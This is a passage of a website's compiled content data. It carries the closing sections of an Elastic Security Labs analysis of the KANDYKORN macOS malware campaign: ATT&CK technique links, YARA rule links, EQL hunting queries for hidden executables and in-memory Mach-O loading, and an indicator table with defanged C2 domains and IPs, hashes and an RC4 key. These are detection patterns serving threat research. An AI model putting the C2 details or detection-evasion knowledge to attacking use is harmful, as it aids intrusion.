Discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1057/\",rel:\"nofollow\",children:\"Process Discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1082/\",rel:\"nofollow\",children:\"System Information Discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1560/003/\",rel:\"nofollow\",children:\"Archive Collected Data: Archive via Custom Method\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1074/001/\",rel:\"nofollow\",children:\"Local Data Staging\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1071/001/\",rel:\"nofollow\",children:\"Application Layer Protocol: Web Protocols\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1008/\",rel:\"nofollow\",children:\"Fallback Channels\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1105/\",rel:\"nofollow\",children:\"Ingress Tool Transfer\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1041/\",rel:\"nofollow\",children:\"Exfiltration Over C2 Channel\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"malware-prevention-capabilities\",children:\"Malware prevention capabilities\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_SugarLoader.yar\",rel:\"nofollow\",children:\"MacOS.Trojan.SUGARLOADER\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_HLoader.yar\",rel:\"nofollow\",children:\"MacOS.Trojan.HLOADER\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_KandyKorn.yar\",rel:\"nofollow\",children:\"MacOS.Trojan.KANDYKORN\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"malware-detection-capabilities\",children:\"Malware detection capabilities\"}),`\n`,(0,i.jsx)(e.h3,{id:\"hunting-queries\",children:\"Hunting queries\"}),`\n`,(0,i.jsx)(e.p,{children:\"The events for EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.\"}),`\n`,(0,i.jsx)(e.h4,{id:\"eql-queries\",children:\"EQL queries\"}),`\n`,(0,i.jsx)(e.p,{children:\"Using the Timeline section of the Security Solution in Kibana under the \\u201CCorrelation\\u201D tab, you can use the below EQL queries to hunt for similar behaviors.\"}),`\n`,(0,i.jsx)(e.p,{children:\"The following EQL query can be used to identify when a hidden executable creates and then immediately deletes a file within a temporary directory:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`sequence by process.entity_id, file.path with maxspan=30s\n [file where event.action == \"modification\" and process.name : \".*\" and \n file.path : (\"/private/tmp/*\", \"/tmp/*\", \"/var/tmp/*\")]\n [file where event.action == \"deletion\" and process.name : \".*\" and \n file.path : (\"/private/tmp/*\", \"/tmp/*\", \"/var/tmp/*\")]\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"The following EQL query can be used to identify when a hidden file makes an outbound network connection followed by the immediate download of an executable file:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`sequence by process.entity_id with maxspan=30s\n[network where event.type == \"start\" and process.name : \".*\"]\n[file where event.action != \"deletion\" and file.Ext.header_bytes : (\"cffaedfe*\", \"cafebabe*\")]\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"The following EQL query can be used to identify when a macOS application binary gets renamed to a hidden file name within the same directory:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`file where event.action == \"rename\" and file.name : \".*\" and \n file.path : \"/Applications/*/Contents/MacOS/*\" and \n file.Ext.original.path : \"/Applications/*/Contents/MacOS/*\" and \n not startswith~(file.Ext.original.path,Effective_process.executable)\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"The following EQL query can be used to identify when an IP address is supplied as an argument to a hidden executable:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`sequence by process.entity_id with maxspan=30s\n[process where event.type == \"start\" and event.action == \"exec\" and process.name : \".*\" and process.args regex~ \"[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}\"]\n[network where event.type == \"start\"]\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"The following EQL query can be used to identify the rename or modification of a hidden executable file within the /Users/Shared directory or the execution of a hidden unsigned or untrusted process in the /Users/Shared directory:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`any where \n (\n (event.category : \"file\" and event.action != \"deletion\" and file.Ext.header_bytes : (\"cffaedfe*\", \"cafebabe*\") and \n file.path : \"/Users/Shared/*\" and file.name : \".*\" ) or \n (event.category : \"process\" and event.action == \"exec\" and process.executable : \"/Users/Shared/*\" and \n (process.code_signature.trusted == false or process.code_signature.exists == false) and process.name : \".*\")\n )\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"The following EQL query can be used to identify when a URL is supplied as an argument to a python script via the command line:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`sequence by process.entity_id with maxspan=30s\n[process where event.type == \"start\" and event.action == \"exec\" and \n process.args : \"python*\" and process.args : (\"/Users/*\", \"/tmp/*\", \"/var/tmp/*\", \"/private/tmp/*\") and process.args : \"http*\" and \n process.args_count \u0026lt;= 3 and \n not process.name : (\"curl\", \"wget\")]\n[network where event.type == \"start\"]\n`})}),`\n`,(0,i.jsx)(e.p,{children:'The following EQL query can be used to identify the attempt of in memory Mach-O loading specifically by looking for the predictable temporary file creation of \"NSCreateObjectFileImageFromMemory-*\":'}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`file where event.type != \"deletion\" and \nfile.name : \"NSCreateObjectFileImageFromMemory-*\"\n`})}),`\n`,(0,i.jsx)(e.p,{children:'The following EQL query can be used to identify the attempt of in memory Mach-O loading by looking for the load of the \"NSCreateObjectFileImageFromMemory-*\" file or a load with no dylib name provided:'}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`any where ((event.action == \"load\" and not dll.path : \"?*\") or \n (event.action == \"load\" and dll.name : \"NSCreateObjectFileImageFromMemory*\"))\n`})}),`\n`,(0,i.jsx)(e.h3,{id:\"yara\",children:\"YARA\"}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the payloads:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_SugarLoader.yar\",rel:\"nofollow\",children:\"MacOS.Trojan.SUGARLOADER\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_HLoader.yar\",rel:\"nofollow\",children:\"MacOS.Trojan.HLOADER\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_KandyKorn.yar\",rel:\"nofollow\",children:\"MacOS.Trojan.KANDYKORN\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"observations\",children:\"Observations\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"All observables are also available for \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/indicators/ref7001\",rel:\"nofollow\",children:\"download\"}),\" in both ECS and STIX format.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"The following observables were discussed in this research.\"}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:\"Observable\"}),(0,i.jsx)(e.th,{children:\"Type\"}),(0,i.jsx)(e.th,{children:\"Name\"}),(0,i.jsx)(e.th,{children:\"Reference\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"3ea2ead8f3cec030906dcbffe3efd5c5d77d5d375d4a54cca03bfe8a6cb59940\"})}),(0,i.jsx)(e.td,{children:\"SHA-256\"}),(0,i.jsx)(e.td,{children:\".log, .sld\"}),(0,i.jsx)(e.td,{children:\"SUGARLOADER\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1\"})}),(0,i.jsx)(e.td,{children:\"SHA-256\"}),(0,i.jsx)(e.td,{children:\"Discord (fake)\"}),(0,i.jsx)(e.td,{children:\"HLOADER\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"927b3564c1cf884d2a05e1d7bd24362ce8563a1e9b85be776190ab7f8af192f6\"})}),(0,i.jsx)(e.td,{children:\"SHA-256\"}),(0,i.jsx)(e.td,{}),(0,i.jsx)(e.td,{children:\"KANDYKORN\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"http://tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC\"})}),(0,i.jsx)(e.td,{children:\"url\"}),(0,i.jsx)(e.td,{}),(0,i.jsx)(e.td,{children:\"FinderTools C2 URL\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"tp-globa[.]xyz\"})}),(0,i.jsx)(e.td,{children:\"domain-name\"}),(0,i.jsx)(e.td,{}),(0,i.jsx)(e.td,{children:\"FinderTools C2 domain\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"192.119.64[.]43\"})}),(0,i.jsx)(e.td,{children:\"ipv4-addr\"}),(0,i.jsx)(e.td,{children:\"tp-globa IP address\"}),(0,i.jsx)(e.td,{children:\"FinderTools C2 IP\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"23.254.226[.]90\"})}),(0,i.jsx)(e.td,{children:\"ipv4-addr\"}),(0,i.jsx)(e.td,{}),(0,i.jsx)(e.td,{children:\"SUGARLOADER C2 IP\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"D9F936CE628C3E5D9B3695694D1CDE79E470E938064D98FBF4EF980A5558D1C90C7E650C2362A21B914ABD173ABA5C0E5837C47B89F74C5B23A7294CC1CFD11B\"})}),(0,i.jsx)(e.td,{children:\"64 byte key\"}),(0,i.jsx)(e.td,{children:\"RC4 key\"}),(0,i.jsx)(e.td,{children:\"SUGARLOADER, KANDYKORN\"})]})]})]})}),`\n`,(0,i.jsx)(e.h2,{id:\"references\",children:\"References\"}),`\n`,(0,i.jsx)(e.p,{children:\"The following were referenced throughout the above research:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket\",rel:\"nofollow\",children:\"The DPRK strikes using a new variant of RUSTBUCKET \\u2014 Elastic Security Labs\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://x.com/tiresearch1/status/1708141542261809360\",rel:\"nofollow\",children:\"https://x.com/tiresearch1/status/1708141542261809360\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.reddit.com/r/hacking/comments/15b4uti/comment/jtprebt/\",rel:\"nofollow\",children:\"https://www.reddit.com/r/hacking/comments/15b4uti/comment/jtprebt/\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.reddit.com/r/Malware/comments/15b595e/looks_like_a_try_to_steel_some_data/\",rel:\"nofollow\",children:\"Looks like a try to steel some data : r/Malware\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.reddit.com/r/pihole/comments/15d11do/malware_project_mimics_pihole/jtzmpqh/\",rel:\"nofollow\",children:\"https://www.reddit.com/r/pihole/comments/15d11do/malware_project_mimics_pihole/jtzmpqh/\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://objective-see.org/blog/blog_0x51.html\",rel:\"nofollow\",children:\"Lazarus Group Goes 'Fileless'\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://slyd0g.medium.com/understanding-and-defending-against-reflective-code-loading-on-macos-e2e83211e48f\",rel:\"nofollow\",children:\"Understanding and Defending Against Reflective Code Loading on macOS | by Justin Bui\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://hackd.net/posts/macos-reflective-code-loading-analysis/\",rel:\"nofollow\",children:\"macOS reflective code loading analysis \\xB7 hackd\"})}),`\n`]})]})}function v(n={}){let{wrapper:e}=n.components||{};return e?(0,i.jsx)(e,Object.assign({},n,{children:(0,i.jsx)(l,n)})):l(n)}var A=v;return b(D);})();\n;return Component;"},"_id":"articles/elastic-catches-dprk-passing-out-kandykorn.mdx","_raw":{"sourceFilePath":"articles/elastic-catches-dprk-passing-out-kandykorn.mdx","sourceFileName":"elastic-catches-dprk-passing-out-kandykorn.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/elastic-catches-dprk-passing-out-kandykorn"},"type":"Article","imageUrl":"/assets/images/elastic-catches-dprk-passing-out-kandykorn/photo-edited-01@2x.jpg","readingTime":"30 min read","series":"","url":"/elastic-catches-dprk-passing-out-kandykorn","headings":[{"level":2,"title":"Preamble","href":"#preamble"},{"level":3,"title":"Key takeaways","href":"#key-takeaways"},{"level":2,"title":"Execution flow","href":"#execution-flow"},{"level":2,"title":"Stage 0 Initial compromise: Watcher.py","href":"#stage-0-initial-compromise-watcherpy"},{"level":2,"title":"Stage 1 droppers testSpeed.py and FinderTools","href":"#stage-1-droppers-testspeedpy-and-findertools"},{"level":2,"title":"Stage 2 payload .sld and .log: SUGARLOADER","href":"#stage-2-payload-sld-and-log-sugarloader"},{"level":3,"title":"Obfuscation","href":"#obfuscation"},{"level":3,"title":"Execution","href":"#execution"},{"level":2,"title":"Stage 3 loader Discord: HLOADER","href":"#stage-3-loader-discord-hloader"},{"level":3,"title":"Persistence","href":"#persistence"},{"level":2,"title":"Stage 4 Payload: KANDYKORN","href":"#stage-4-payload-kandykorn"},{"level":3,"title":"Execution","href":"#execution-1"},{"level":3,"title":"Command and control","href":"#command-and-control"},{"level":4,"title":"Command 0xD1","href":"#command-0xd1"},{"level":4,"title":"Command 0xD2","href":"#command-0xd2"},{"level":4,"title":"Command 0xD3","href":"#command-0xd3"},{"level":4,"title":"Command 0xD4","href":"#command-0xd4"},{"level":4,"title":"Command 0xD5","href":"#command-0xd5"},{"level":4,"title":"Command 0xD6","href":"#command-0xd6"},{"level":4,"title":"Command 0xD7","href":"#command-0xd7"},{"level":4,"title":"Command 0xD8","href":"#command-0xd8"},{"level":4,"title":"Command 0xD9","href":"#command-0xd9"},{"level":4,"title":"Command 0xDA","href":"#command-0xda"},{"level":4,"title":"Command 0xDB","href":"#command-0xdb"},{"level":4,"title":"Command 0xDC","href":"#command-0xdc"},{"level":4,"title":"Command 0xDD","href":"#command-0xdd"},{"level":4,"title":"Command 0xDE","href":"#command-0xde"},{"level":4,"title":"Command 0xDF","href":"#command-0xdf"},{"level":4,"title":"Command 0xE0","href":"#command-0xe0"},{"level":3,"title":"Summary","href":"#summary"},{"level":2,"title":"Network protocol","href":"#network-protocol"},{"level":2,"title":"Network infrastructure","href":"#network-infrastructure"},{"level":3,"title":"tp-globa[.]xyz","href":"#tp-globaxyz"},{"level":3,"title":"23.254.226[.]90","href":"#2325422690"},{"level":2,"title":"Campaign intersections","href":"#campaign-intersections"},{"level":2,"title":"Summary","href":"#summary-1"},{"level":2,"title":"The Diamond Model","href":"#the-diamond-model"},{"level":2,"title":"[Malware] and MITRE ATT\u0026CK","href":"#malware-and-mitre-attck"},{"level":4,"title":"Tactics","href":"#tactics"},{"level":4,"title":"Techniques","href":"#techniques"},{"level":2,"title":"Malware prevention capabilities","href":"#malware-prevention-capabilities"},{"level":2,"title":"Malware detection capabilities","href":"#malware-detection-capabilities"},{"level":3,"title":"Hunting queries","href":"#hunting-queries"},{"level":4,"title":"EQL queries","href":"#eql-queries"},{"level":3,"title":"YARA","href":"#yara"},{"level":2,"title":"Observations","href":"#observations"},{"level":2,"title":"References","href":"#references"}],"author":[{"title":"Colson Wilhoit","slug":"colson-wilhoit","description":"Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,d=Object.prototype.hasOwnProperty;var g=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),j=(t,n)=\u003e{for(var e in n)i(t,e,{get:n[e],enumerable:!0})},a=(t,n,e,s)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!d.call(t,r)\u0026\u0026r!==e\u0026\u0026i(t,r,{get:()=\u003en[r],enumerable:!(s=x(n,r))||s.enumerable});return t};var p=(t,n,e)=\u003e(e=t!=null?m(_(t)):{},a(n||!t||!t.__esModule?i(e,\"default\",{value:t,enumerable:!0}):e,t)),h=t=\u003ea(i({},\"__esModule\",{value:!0}),t);var l=g((X,c)=\u003e{c.exports=_jsx_runtime});var D={};j(D,{default:()=\u003ew,frontmatter:()=\u003eC});var o=p(l()),C={title:\"Colson Wilhoit\",description:\"Elastic\",slug:\"colson-wilhoit\"};function u(t){return(0,o.jsx)(o.Fragment,{})}function M(t={}){let{wrapper:n}=t.components||{};return n?(0,o.jsx)(n,Object.assign({},t,{children:(0,o.jsx)(u,t)})):u(t)}var w=M;return h(D);})();\n;return Component;"},"_id":"authors/colson-wilhoit.mdx","_raw":{"sourceFilePath":"authors/colson-wilhoit.mdx","sourceFileName":"colson-wilhoit.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/colson-wilhoit"},"type":"Author","imageUrl":"","url":"/authors/colson-wilhoit"},{"title":"Ricardo Ungureanu","slug":"ricardo-ungureanu","description":"Principal Security Engineer, Elastic","image":"ricardo-ungureanu.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var l=Object.getPrototypeOf,p=Object.prototype.hasOwnProperty;var f=(n,t)=\u003e()=\u003e(t||n((t={exports:{}}).exports,t),t.exports),j=(n,t)=\u003e{for(var r in t)i(n,r,{get:t[r],enumerable:!0})},u=(n,t,r,o)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let a of x(t))!p.call(n,a)\u0026\u0026a!==r\u0026\u0026i(n,a,{get:()=\u003et[a],enumerable:!(o=d(t,a))||o.enumerable});return n};var _=(n,t,r)=\u003e(r=n!=null?m(l(n)):{},u(t||!n||!n.__esModule?i(r,\"default\",{value:n,enumerable:!0}):r,n)),M=n=\u003eu(i({},\"__esModule\",{value:!0}),n);var s=f((X,c)=\u003e{c.exports=_jsx_runtime});var E={};j(E,{default:()=\u003eD,frontmatter:()=\u003ey});var e=_(s()),y={title:\"Ricardo Ungureanu\",description:\"Principal Security Engineer, Elastic\",slug:\"ricardo-ungureanu\",image:\"ricardo-ungureanu.jpg\"};function g(n){return(0,e.jsx)(e.Fragment,{})}function C(n={}){let{wrapper:t}=n.components||{};return t?(0,e.jsx)(t,Object.assign({},n,{children:(0,e.jsx)(g,n)})):g(n)}var D=C;return M(E);})();\n;return Component;"},"_id":"authors/ricardo-ungureanu.mdx","_raw":{"sourceFilePath":"authors/ricardo-ungureanu.mdx","sourceFileName":"ricardo-ungureanu.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/ricardo-ungureanu"},"type":"Author","imageUrl":"/assets/images/authors/ricardo-ungureanu.jpg","url":"/authors/ricardo-ungureanu"},{"title":"Seth Goodwin","slug":"seth-goodwin","description":"Elastic Security Labs Team Senior Research Engineer, Intelligence","body":{"raw":"","code":"var Component=(()=\u003e{var g=Object.create;var i=Object.defineProperty;var l=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),h=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},a=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of x(e))!f.call(t,o)\u0026\u0026o!==n\u0026\u0026i(t,o,{get:()=\u003ee[o],enumerable:!(s=l(e,o))||s.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?g(d(t)):{},a(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),p=t=\u003ea(i({},\"__esModule\",{value:!0}),t);var u=_((C,c)=\u003e{c.exports=_jsx_runtime});var b={};h(b,{default:()=\u003eS,frontmatter:()=\u003ew});var r=j(u()),w={title:\"Seth Goodwin\",description:\"Elastic Security Labs Team Senior Research Engineer, Intelligence\",slug:\"seth-goodwin\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var S=M;return p(b);})();\n;return Component;"},"_id":"authors/seth-goodwin.mdx","_raw":{"sourceFilePath":"authors/seth-goodwin.mdx","sourceFileName":"seth-goodwin.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/seth-goodwin"},"type":"Author","imageUrl":"","url":"/authors/seth-goodwin"},{"title":"Andrew Pease","slug":"andrew-pease","description":"Elastic Security Labs Technical Lead","image":"andrew-pease.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var s=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,l=Object.prototype.hasOwnProperty;var f=(e,t)=\u003e()=\u003e(t||e((t={exports:{}}).exports,t),t.exports),j=(e,t)=\u003e{for(var n in t)s(e,n,{get:t[n],enumerable:!0})},c=(e,t,n,o)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let a of x(t))!l.call(e,a)\u0026\u0026a!==n\u0026\u0026s(e,a,{get:()=\u003et[a],enumerable:!(o=p(t,a))||o.enumerable});return e};var _=(e,t,n)=\u003e(n=e!=null?m(g(e)):{},c(t||!e||!e.__esModule?s(n,\"default\",{value:e,enumerable:!0}):n,e)),w=e=\u003ec(s({},\"__esModule\",{value:!0}),e);var u=f((C,i)=\u003e{i.exports=_jsx_runtime});var h={};j(h,{default:()=\u003eb,frontmatter:()=\u003eL});var r=_(u()),L={title:\"Andrew Pease\",description:\"Elastic Security Labs Technical Lead\",slug:\"andrew-pease\",image:\"andrew-pease.jpg\"};function d(e){return(0,r.jsx)(r.Fragment,{})}function M(e={}){let{wrapper:t}=e.components||{};return t?(0,r.jsx)(t,Object.assign({},e,{children:(0,r.jsx)(d,e)})):d(e)}var b=M;return w(h);})();\n;return Component;"},"_id":"authors/andrew-pease.mdx","_raw":{"sourceFilePath":"authors/andrew-pease.mdx","sourceFileName":"andrew-pease.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/andrew-pease"},"type":"Author","imageUrl":"/assets/images/authors/andrew-pease.jpg","url":"/authors/andrew-pease"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"},{"title":"Attack pattern","slug":"attack-pattern","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var o=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),l=(t,n)=\u003e{for(var e in n)o(t,e,{get:n[e],enumerable:!0})},s=(t,n,e,c)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let a of p(n))!g.call(t,a)\u0026\u0026a!==e\u0026\u0026o(t,a,{get:()=\u003en[a],enumerable:!(c=f(n,a))||c.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?x(_(t)):{},s(n||!t||!t.__esModule?o(e,\"default\",{value:t,enumerable:!0}):e,t)),M=t=\u003es(o({},\"__esModule\",{value:!0}),t);var i=j((b,u)=\u003e{u.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003ek});var r=d(i()),k={title:\"Attack pattern\",slug:\"attack-pattern\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:n}=t.components||{};return n?(0,r.jsx)(n,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"categories/attack-pattern.mdx","_raw":{"sourceFilePath":"categories/attack-pattern.mdx","sourceFileName":"attack-pattern.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/attack-pattern"},"type":"Category","url":"/categories/attack-pattern"},{"title":"Activity group","slug":"activity-group","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var a=Object.defineProperty;var g=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),l=(t,n)=\u003e{for(var e in n)a(t,e,{get:n[e],enumerable:!0})},c=(t,n,e,i)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let o of f(n))!_.call(t,o)\u0026\u0026o!==e\u0026\u0026a(t,o,{get:()=\u003en[o],enumerable:!(i=g(n,o))||i.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?x(p(t)):{},c(n||!t||!t.__esModule?a(e,\"default\",{value:t,enumerable:!0}):e,t)),y=t=\u003ec(a({},\"__esModule\",{value:!0}),t);var u=j((X,s)=\u003e{s.exports=_jsx_runtime});var D={};l(D,{default:()=\u003eC,frontmatter:()=\u003eM});var r=d(u()),M={title:\"Activity group\",slug:\"activity-group\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function v(t={}){let{wrapper:n}=t.components||{};return n?(0,r.jsx)(n,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var C=v;return y(D);})();\n;return Component;"},"_id":"categories/activity-group.mdx","_raw":{"sourceFilePath":"categories/activity-group.mdx","sourceFileName":"activity-group.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/activity-group"},"type":"Category","url":"/categories/activity-group"}]},{"title":"GHOSTPULSE haunts victims using defense evasion bag o' tricks","slug":"ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks","date":"2023-10-27","description":"Elastic Security Labs reveals details of a new campaign leveraging defense evasion capabilities to infect victims with malicious 